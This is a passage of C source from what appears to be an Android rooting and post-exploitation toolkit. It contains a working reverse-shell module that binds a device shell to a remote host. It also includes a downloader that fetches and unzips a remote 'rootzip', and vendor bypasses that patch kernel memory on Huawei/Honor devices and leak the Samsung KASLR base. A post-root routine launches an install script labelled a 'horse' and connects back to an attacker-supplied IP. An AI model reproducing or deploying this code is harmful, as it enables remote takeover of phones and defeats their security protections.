run_cmd); 47 | if (ret < 0) { 48 | log_dump(LOG_ERR, "[-] chmod false!\n"); 49 | return -1; 50 | } 51 | 52 | return 0; 53 | } 54 | 55 | int dload_rootzip_and_unpack(char *dltool, char *roozip_url, char *dload_name, 56 | char *unpack_path) { 57 | char run_cmd[0xff] = {0}; 58 | sprintf(run_cmd, "%s wget %s -O %s", dltool, roozip_url, dload_name); 59 | if (run_shell_commond("/system/bin/sh", run_cmd) < 0) return -1; 60 | 61 | memset(run_cmd, 0, sizeof(run_cmd)); 62 | sprintf(run_cmd, "%s unzip %s -o -d %s", dltool, dload_name, unpack_path); 63 | if (run_shell_commond("/system/bin/sh", run_cmd) < 0) return -1; 64 | 65 | return 0; 66 | } 67 | 68 | /* ---------------- reverse-shell ---------------- */ 69 | // #include 70 | #include 71 | #include 72 | #include 73 | // #include 74 | // #include 75 | #include 76 | 77 | #define PROGNAME "reverse-shell" 78 | #define VERSION "1.0.0" 79 | #define SHELL "sh" 80 | #define PATH "/system/bin" 81 | #define PATHSHELL PATH "/" SHELL 82 | #define RSHELL_F_NOFORK (1 << 0) 83 | 84 | struct rshell { 85 | char *host; 86 | char *service; 87 | uint16_t port; 88 | int family; 89 | char *shell; 90 | unsigned flags; 91 | }; 92 | 93 | static void usage() { 94 | fprintf(stderr, "usage: %s [options] \n", PROGNAME); 95 | fprintf(stderr, "options:\n"); 96 | fprintf(stderr, "\t-h : display this and exit\n"); 97 | fprintf(stderr, "\t-v : display version and exit\n"); 98 | fprintf(stderr, "\t-f : foreground mode (eg: no fork)\n"); 99 | fprintf(stderr, "\t-6 : use IPv6 socket\n"); 100 | fprintf(stderr, "\t-s : give the path shell (default: %s)\n", 101 | PATHSHELL); 102 | } 103 | 104 | static void version() { fprintf(stderr, "%s %s\n", PROGNAME, VERSION); } 105 | 106 | static char *rshell_basename(char *path) { 107 | char *ptr; 108 | size_t len = strlen(path); 109 | for (ptr = path + len; ptr >= path; ptr--) { 110 | if (ptr[0] == '/') return ++ptr; 111 | } 112 | return path; 113 | } 114 | 115 | static void reverse_tcp(const struct rshell *rshell) { 116 | int sockfd; 117 | struct addrinfo hints; 118 | struct addrinfo *res; 119 | int ret; 120 | char *ex[3]; 121 | memset(&hints, 0, sizeof hints); 122 | hints.ai_family = rshell->family; 123 | hints.ai_socktype = SOCK_STREAM; 124 | log_dump(LOG_DEBUG, "[*] reverse_tcp\n"); 125 | if ((ret = getaddrinfo(rshell->host, rshell->service, &hints, &res)) != 0) { 126 | log_dump(LOG_ERR, "getaddrinfo false!\n"); 127 | return; 128 | } 129 | if ((sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 130 | 0) { 131 | log_dump(LOG_ERR, "socket false!\n"); 132 | return; 133 | } 134 | if (connect(sockfd, res->ai_addr, res->ai_addrlen) < 0) { 135 | log_dump(LOG_ERR, "connect false!\n"); 136 | return; 137 | } 138 | /* Replace stdin, stdout and stderr from the socket 139 | */ 140 | dup2(sockfd, 0); 141 | dup2(sockfd, 1); 142 | dup2(sockfd, 2); 143 | ex[0] = rshell->shell; 144 | ex[1] = rshell_basename(rshell->shell); 145 | ex[2] = NULL; 146 | 147 | // char *envp[] = {"/system/bin", "/sbin", "/system/xbin", "/system/sbin", NULL}; 148 | char *envp[] = {"PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin", NULL}; 149 | fprintf(stderr, "[+] connect %s:%d execve %s %s\n", rshell->host, 150 | rshell->port, ex[0], ex[1]); 151 | execve(ex[0], &ex[1], envp); 152 | /* Should never get here 153 | */ 154 | } 155 | 156 | static void rshell_init(struct rshell *rshell) { 157 | rshell->family = AF_INET; 158 | rshell->shell = PATHSHELL; 159 | rshell->flags = 0; 160 | } 161 | 162 | static int rshell_set_port(struct rshell *rshell, char *port) { 163 | long int res; 164 | res = strtol(port, NULL, 10); 165 | if (res <= 0 || res > 0xffff) return -1; 166 | rshell->service = port; 167 | rshell->port = (uint16_t)res; 168 | return 0; 169 | } 170 | 171 | int rshell(int argc, char *argv[]) { 172 | int c; 173 | pid_t child; 174 | struct rshell rshell; 175 | if (fork() > 0) 176 | // exit(0); 177 | while (1) 178 | ; 179 | log_dump(LOG_DEBUG, "[!] Now in fork process! %d\n", getpid()); 180 | rshell_init(&rshell); 181 | while ((c = getopt(argc, argv, "6fhs:v")) != -1) { 182 | switch (c) { 183 | case '6': 184 | rshell.family = AF_INET6; 185 | break; 186 | case 'f': 187 | rshell.flags |= RSHELL_F_NOFORK; 188 | break; 189 | case 'h': 190 | usage(); 191 | return 0; 192 | case 's': 193 | rshell.shell = optarg; 194 | break; 195 | case 'v': 196 | version(); 197 | return 0; 198 | } 199 | } 200 | argv += optind; 201 | argc -= optind; 202 | if (argc != 2) { 203 | usage(); 204 | return -1; 205 | } 206 | rshell.host = argv[0]; 207 | if (rshell_set_port(&rshell, argv[1])) { 208 | log_dump(LOG_ERR, "Invalid port %s\n", argv[1]); 209 | return -1; 210 | } 211 | /* Fork and connect back 212 | */ 213 | if ((rshell.flags & RSHELL_F_NOFORK) || (child = fork()) == 0) 214 | reverse_tcp(&rshell); 215 | else 216 | log_dump(LOG_DEBUG, "child pid: %d\n", child); 217 | return 0; 218 | } 219 | 220 | int rshell_simple(char *ip, char* port) { 221 | int c; 222 | pid_t child; 223 | struct rshell rshell; 224 | if (fork() > 0) 225 | // exit(0); 226 | while (1) 227 | ; 228 | log_dump(LOG_DEBUG, "[!] Now in fork process! %d\n", getpid()); 229 | rshell_init(&rshell); 230 | 231 | rshell.host = ip; 232 | if (rshell_set_port(&rshell, port)) { 233 | log_dump(LOG_ERR, "Invalid port %s\n", port); 234 | return -1; 235 | } 236 | /* Fork and connect back 237 | */ 238 | if ((child = fork()) == 0) 239 | reverse_tcp(&rshell); 240 | else 241 | log_dump(LOG_DEBUG, "child pid: %d\n", child); 242 | return 0; 243 | } 244 | -------------------------------------------------------------------------------- /utils/silly.c: -------------------------------------------------------------------------------- 1 | /* 2 | * by pass android kernel protect 3 | * 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "silly.h" 17 | 18 | #include "log.h" 19 | #include "device.h" 20 | #include "fn.h" 21 | 22 | #include "param.h" 23 | #include "dict.h" 24 | 25 | #include "roothelper.h" 26 | #include "shell.h" 27 | 28 | 29 | int check_dm_verity_status() { 30 | int status = 0; 31 | char *check_mnt = "/system"; 32 | char *filename = "/proc/self/mounts"; 33 | FILE *mntfile; 34 | struct mntent *mntent; 35 | 36 | errno = 0; 37 | mntfile = setmntent(filename, "r"); 38 | if (!mntfile) { 39 | log_dump(LOG_DEBUG, "[-] read mtab file failed!, errno = %d, msg = %s\n", errno, strerror(errno)); 40 | return -1; 41 | } 42 | 43 | while((mntent = getmntent(mntfile)) != NULL) { 44 | if(!strncmp(mntent->mnt_dir, check_mnt, strlen(check_mnt) + 1)) { 45 | log_dump(LOG_DEBUG, "%s <- %s type %s (%s) freq %d, passno %d\n", 46 | mntent->mnt_dir, 47 | mntent->mnt_fsname, 48 | mntent->mnt_type, 49 | mntent->mnt_opts, 50 | mntent->mnt_freq, 51 | mntent->mnt_passno); 52 | 53 | if(strstr(mntent->mnt_fsname, check_mnt)) { 54 | log_dump(LOG_DEBUG, "[-] dm-verity disable!\n"); 55 | status = 0; 56 | } else 57 | if(strstr(mntent->mnt_fsname, "dm")) { 58 | log_dump(LOG_DEBUG, "[+] dm-verity enable!\n"); 59 | status = 1; 60 | } else { 61 | log_dump(LOG_DEBUG, "[!] dm-verity disable(default)!\n"); 62 | status = 0; 63 | } 64 | 65 | } 66 | } 67 | 68 | endmntent(mntfile); 69 | return status; 70 | } 71 | 72 | static int huawei_high_level_mount_bypass() { 73 | 74 | short disable = 0; 75 | short status = 0; 76 | 77 | int fd, ret; 78 | int err = 0; 79 | 80 | errno = 0; 81 | fd = open("/proc/sys_wp_soft", O_RDWR); 82 | if (fd < 0) { 83 | log_dump(LOG_ERR, "[-] open false: fd = %d, errno = %d, msg = %s\n", fd, errno, strerror(errno)); 84 | err = -1; 85 | goto out; 86 | } 87 | 88 | errno = 0; 89 | ret = write(fd, &disable, sizeof(disable)); 90 | if (ret != sizeof(disable)) { 91 | log_dump(LOG_ERR, "[-] write false: ret = %d, errno = %d, msg = %s\n", ret, errno, strerror(errno)); 92 | err = -2; 93 | goto out; 94 | } 95 | 96 | errno = 0; 97 | ret = read(fd, &status, sizeof(status)); 98 | if (ret != sizeof(status)) { 99 | log_dump(LOG_ERR, "[-] read false: ret = %d, errno = %d, msg = %s\n", ret, errno, strerror(errno)); 100 | err = -3; 101 | goto out; 102 | } 103 | 104 | log_dump(LOG_DEBUG, "\t [!] after patch, status = %d\n", atoi((char *)&status)); 105 | 106 | if(atoi((char *)&status) != disable) { 107 | log_dump(LOG_ERR, "[-] patch value invalid!\n"); 108 | err = -4; 109 | goto out; 110 | } 111 | 112 | out: 113 | if(fd > 0) close(fd); 114 | 115 | return err; 116 | } 117 | 118 | static int huawei_mount_bypass(dict_t *dict) { 119 | log_dump(LOG_DEBUG, "[!] huawei mount bypass begin\n"); 120 | 121 | int err = 0; 122 | 123 | if(huawei_high_level_mount_bypass() == 0) { 124 | log_dump(LOG_DEBUG, "\t [+] huawei high level mount bypass success!\n"); 125 | // goto out; 126 | } 127 | 128 | unsigned long adp_ro_secure_debuggable, adp_ro_secure_debuggable_static; 129 | 130 | unsigned long patch_addr = 0; 131 | unsigned long disable = 0; 132 | unsigned long value = 0; 133 | unsigned long check_addr = 0; 134 | 135 | if(!dict_get_ulval(dict, k_ro_secure_debuggable, &adp_ro_secure_debuggable)) { 136 | log_dump(LOG_ERR, "\t [-] not found ro.secure.debuggable(%s)\n", k_ro_secure_debuggable); 137 | err = -1; 138 | goto out; 139 | } 140 | 141 | if(!dict_get_ulval(dict, k_ro_secure_debuggable_static, &adp_ro_secure_debuggable_static)) { 142 | log_dump(LOG_ERR, "\t [-] not found ro_secure_debuggable_static(%s)\n", k_ro_secure_debuggable_static); 143 | err = -1; 144 | goto out; 145 | } 146 | 147 | log_dump(LOG_DEBUG, "\t [!] begin to disable ro.secure.debuggable(%s).\n", k_ro_secure_debuggable); 148 | if(pipe_read_memory((void *)adp_ro_secure_debuggable, &patch_addr, sizeof(patch_addr)) < 0){ 149 | log_dump(LOG_ERR, "\t [-] read 0x%08x ro.secure.debuggable failed! error info : %s\n", adp_ro_secure_debuggable, strerror(errno)); 150 | err = -2; 151 | goto out; 152 | } 153 | log_dump(LOG_DEBUG, "\t read ro_secure_debuggable(0x%lx) = 0x%lx\n", adp_ro_secure_debuggable, patch_addr); 154 | 155 | if (patch_addr > KERNEL_START) { 156 | if(pipe_write_memory((void *)patch_addr, &disable, sizeof(disable)) < 0){ 157 | log_dump(LOG_ERR, "\t [-] write 0x%08x ro.secure.debuggable failed! error info : %s\n", patch_addr, strerror(errno)); 158 | err = -3; 159 | goto out; 160 | } 161 | log_dump(LOG_DEBUG, "\t write [ro_secure_debuggable](0x%lx) = 0x%lx\n", patch_addr, disable); 162 | check_addr = patch_addr; 163 | } else { 164 | if(pipe_write_memory((void *)adp_ro_secure_debuggable_static, &disable, sizeof(disable)) < 0){ 165 | log_dump(LOG_ERR, "\t [-] write 0x%08x static.ro.secure.debuggable failed! error info : %s\n", adp_ro_secure_debuggable_static, strerror(errno)); 166 | err = -3; 167 | goto out; 168 | } 169 | log_dump(LOG_DEBUG, "\t write ro_secure_debuggable_static(0x%lx) = 0x%lx\n", adp_ro_secure_debuggable_static, disable); 170 | check_addr = adp_ro_secure_debuggable_static; 171 | } 172 | // check patch success or not! 173 | if(pipe_read_memory((void *)check_addr, &value, sizeof(value)) < 0){ 174 | err = -4; 175 | goto out; 176 | } 177 | 178 | log_dump(LOG_DEBUG, "\t after patch read 0x%lx = 0x%lx\n", check_addr, value); 179 | 180 | if(value != disable){ 181 | log_dump(LOG_ERR, "[-] huawei mount bypass failed.\n"); 182 | err = -5; 183 | goto out; 184 | } 185 | 186 | log_dump(LOG_ERR, "[+] huawei mount bypass successed.\n"); 187 | 188 | out: 189 | return err; 190 | } 191 | 192 | static int samsung_knox_bypass(dict_t *transl_param) { 193 | return 0; 194 | } 195 | 196 | static int vivo_mount_bypass(dict_t *transl_param) { 197 | return 0; 198 | 199 | } 200 | 201 | int vendor_protect_bypass(dict_t *transl_param) { 202 | log_dump(LOG_DEBUG, "[!] vendor protect bypass begin\n"); 203 | int ret; 204 | char product_model[0xff] = { 0 }; 205 | char product_band[0xff] = { 0 }; 206 | 207 | if(getprop("ro.product.model", product_model, sizeof(product_model)) < 0 ) { 208 | log_dump(LOG_ERR, "\t [-] get ro.product.model error!\n"); 209 | ret = -1; 210 | goto out; 211 | } 212 | log_dump(LOG_DEBUG, "\t [+] ro.product.model = %s\n", product_model); 213 | 214 | if(getprop("ro.product.brand", product_band, sizeof(product_band)) < 0) { 215 | log_dump(LOG_ERR, "\t [-] get ro.product.brand error!\n"); 216 | ret = -1; 217 | goto out; 218 | } 219 | log_dump(LOG_DEBUG, "\t [+] ro.product.brand = %s\n", product_band); 220 | 221 | if (string_search(product_model, SAMSUNG) || string_search(product_band, SAMSUNG)) { 222 | log_dump(LOG_DEBUG, "\t [!] samsung vendor\n"); 223 | return samsung_knox_bypass(transl_param); 224 | } else 225 | if (string_search(product_model, HUAWEI) || string_search(product_band, HUAWEI)) { 226 | log_dump(LOG_DEBUG, "\t [!] huawei vendor\n"); 227 | return huawei_mount_bypass(transl_param); 228 | } else 229 | if (string_search(product_model, HONOR) || string_search(product_band, HONOR)) { 230 | log_dump(LOG_DEBUG, "\t [!] honor vendor\n"); 231 | return huawei_mount_bypass(transl_param); 232 | } else 233 | if (string_search(product_model, VIVO) || string_search(product_band, VIVO)) { 234 | log_dump(LOG_DEBUG, "\t [!] vivo vendor\n"); 235 | return vivo_mount_bypass(transl_param); 236 | } else { 237 | log_dump(LOG_DEBUG, "[-] not need bypass vendor protect\n"); 238 | } 239 | 240 | out: 241 | return ret; 242 | } 243 | 244 | static int get_samsung_kernel_base(dict_t *dict, void *kaslr_kernel_base) { 245 | int fd, ret; 246 | int err = 0; 247 | char file_buf[0x400]; 248 | memset(file_buf, 0, sizeof(file_buf)); 249 | 250 | unsigned long adp_kaslr_2kfunc_addr; 251 | unsigned long adp_kaslr_2kfunc_offset; 252 | 253 | char *pos, *subpos, *split; 254 | 255 | if(!dict_get_ulval(dict, k_kaslr_2kfunc_offset, &adp_kaslr_2kfunc_offset)) { 256 | log_dump(LOG_ERR, "\t [-] not found k_kaslr_2kfunc_offset(%s)\n", k_kaslr_2kfunc_offset); 257 | err = -1; 258 | goto out; 259 | } 260 | 261 | errno = 0; 262 | fd = open("/sys/kernel/debug/tracing/printk_formats", O_RDONLY); 263 | if (fd < 0) { 264 | log_dump(LOG_ERR, "[-] open false: fd = %d, errno = %d, msg = %s\n", fd, errno, strerror(errno)); 265 | err = -2; 266 | goto out; 267 | } 268 | 269 | while((ret = read(fd, file_buf, sizeof(file_buf))) != 0) { 270 | pos = (char *)&file_buf[0]; 271 | 272 | while((split = strchr(pos, '\n')) != NULL) { 273 | *split = '\0'; 274 | if((subpos = strstr(pos, "dpm_prepare")) != NULL ) { 275 | log_dump(LOG_DEBUG, "[+] find! pos = %s, subpos = %s\n", pos, subpos); 276 | goto find; 277 | } 278 | pos = split + 1; 279 | } 280 | 281 | memset(file_buf, 0, sizeof(file_buf)); 282 | } 283 | 284 | find: 285 | adp_kaslr_2kfunc_addr = strtoul(pos, NULL, 16); 286 | if(adp_kaslr_2kfunc_addr < KERNEL_START) { 287 | log_dump(LOG_ERR, "[-] calc adp_kaslr_2kfunc_addr error!\n"); 288 | err = -2; 289 | goto out; 290 | } 291 | 292 | *(unsigned long *)kaslr_kernel_base = adp_kaslr_2kfunc_addr - adp_kaslr_2kfunc_offset; 293 | 294 | out: 295 | if(fd) close(fd); 296 | return err; 297 | } 298 | 299 | /* 300 | usage: 301 | unsigned long adp_kaslr_kernel_base; 302 | 303 | if(obtain_kaslr_kernel_base(transl_param_dict, &adp_kaslr_kernel_base) < 0 || 304 | adp_kaslr_kernel_base < KERNEL_START) { 305 | log_dump(LOG_ERR, "[-] get adp_kaslr_kernel_base error!\n"); 306 | } 307 | log_dump(LOG_DEBUG, "[+] adp_kaslr_kernel_base = 0x%lx\n", adp_kaslr_kernel_base); 308 | 309 | */ 310 | 311 | int obtain_kaslr_kernel_base(dict_t *transl_param, void *kaslr_kernel_base) { 312 | return get_samsung_kernel_base(transl_param, kaslr_kernel_base); 313 | } 314 | 315 | 316 | int silly_everything_after_root(dict_t *transl_param) { 317 | /* run script path */ 318 | char adp_script_path[0x100] = { 0 }; 319 | /* reverse shell ip&port */ 320 | char adp_rshell_ip[0x40] = { 0 }; 321 | char adp_rshell_port[0x10] = { 0 }; 322 | char adp_work_dir[0x100] = { 0 }; 323 | char run_cmd[0x200] = { 0 }; 324 | 325 | unsigned long adp_rshell_status = 0; 326 | unsigned long adp_horse_status = 0; 327 | unsigned long adp_vendor_exec_restrict = 0; 328 | 329 | memset(adp_script_path, 0, sizeof(adp_script_path)); 330 | memset(adp_rshell_ip, 0, sizeof(adp_rshell_ip)); 331 | memset(adp_rshell_port, 0, sizeof(adp_rshell_port)); 332 | memset(adp_work_dir, 0, sizeof(adp_work_dir)); 333 | memset(run_cmd, 0, sizeof(run_cmd)); 334 | 335 | dict_get_ulval(transl_param, r_rshell_status, &adp_rshell_status); 336 | dict_get_ulval(transl_param, r_horse_status, &adp_horse_status); 337 | dict_get_str(transl_param, r_script_path, adp_script_path, sizeof(adp_script_path)); 338 | dict_get_str(transl_param, r_rshell_ip, adp_rshell_ip, sizeof(adp_rshell_ip)); 339 | dict_get_str(transl_param, r_rshell_port, adp_rshell_port, sizeof(adp_rshell_port)); 340 | 341 | log_dump(LOG_DEBUG, "script: %s\n", adp_script_path); 342 | log_dump(LOG_DEBUG, "rshell: ip = %s, port = %s\n", adp_rshell_ip, adp_rshell_port); 343 | 344 | if(strlen(adp_script_path)) { 345 | if(full_path_to_dir(adp_script_path, adp_work_dir) == NULL) { 346 | log_dump(LOG_ERR, "[-] extract dir from %s error!\n", adp_script_path); 347 | strncpy(adp_work_dir, ".", 1); 348 | } 349 | log_dump(LOG_DEBUG, "adp_work_dir = %s\n", adp_work_dir); 350 | } 351 | 352 | if(adp_horse_status > 0) { 353 | sprintf(run_cmd, "%s %s %s %s", adp_script_path, adp_work_dir, adp_rshell_ip, adp_rshell_port); 354 | } else { 355 | sprintf(run_cmd, "%s %s", adp_script_path, adp_work_dir); 356 | } 357 | 358 | dict_get_ulval(transl_param, k_vendor_exec_restrict, &adp_vendor_exec_restrict); 359 | 360 | // bypass samsung exec restrict 361 | if(adp_vendor_exec_restrict == 1) { 362 | dup2(1, 2); 363 | if ((getuid() == 0) && (geteuid() == 0)) { 364 | pid_t pid1, pid2; 365 | 366 | pid1 = fork(); 367 | pid2 = fork(); 368 | 369 | if (pid1 == 0) { 370 | if (pid2 == 0) { 371 | while (getppid() != 1 || getuid() != 0) usleep(100); 372 | char *argvs[] = {"install.sh", adp_work_dir, adp_rshell_ip, adp_rshell_port, NULL}; 373 | char *envps[] = {"PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin", NULL}; 374 | execve(adp_script_path, argvs, envps); 375 | } else { 376 | exit(0); 377 | } 378 | } else { 379 | // exit(0); 380 | } 381 | } 382 | 383 | } else { 384 | run_shell_commond("/system/bin/sh", run_cmd); 385 | } 386 | 387 | if(adp_rshell_status > 0) { 388 | if(strlen(adp_rshell_ip) && strlen(adp_rshell_port)) { 389 | rshell_simple(adp_rshell_ip, adp_rshell_port); 390 | } 391 | } 392 | 393 | return 0; 394 | 395 | } 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | --------------------------------------------------------------------------------